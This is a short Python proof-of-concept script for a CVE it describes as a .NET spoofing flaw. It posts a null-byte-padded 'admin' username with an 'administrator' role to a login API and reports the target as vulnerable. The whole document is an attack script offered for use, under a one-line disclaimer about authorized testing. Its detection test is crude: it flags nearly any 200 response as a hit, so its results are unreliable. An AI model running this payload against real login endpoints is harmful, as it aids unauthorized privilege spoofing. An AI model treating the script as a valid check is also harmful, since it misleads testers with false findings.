The following code is for security research and authorized testing only.
python
import requests
# PoC for CVE-2026-32178: .NET Spoofing via Improper Neutralization
# This script attempts to send a payload with special characters to test for spoofing vulnerability.
def check_vulnerability(target_url):
headers = {
"User-Agent": "CVE-2026-32178-Scanner",
"Content-Type": "application/json"
}
# Payload attempting to inject special elements (e.g., null bytes or specific control chars)
# that may not be neutralized by the .NET parser, leading to spoofing.
payload = {
"username": "admin\x00",
"role": "administrator"
}
try:
print(f"[+] Sending payload to {target_url}...")
response = requests.post(target_url, json=payload, headers=headers, timeout=10)
# Analyze response for signs of successful spoofing or information disclosure
if response.status_code == 200 and ("admin" in response.text or "unauthorized" not in response.text.lower()):
print(f"[!] Potential vulnerability detected! Server responded with 200 OK.")
print(f"[!] Response snippet: {response.text[:200]}")
else:
print(f"[-] Target does not appear vulnerable or PoC failed.")
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
if __name__ == "__main__":
target = "http://example.com/api/login" # Replace with actual target
check_vulnerability(target)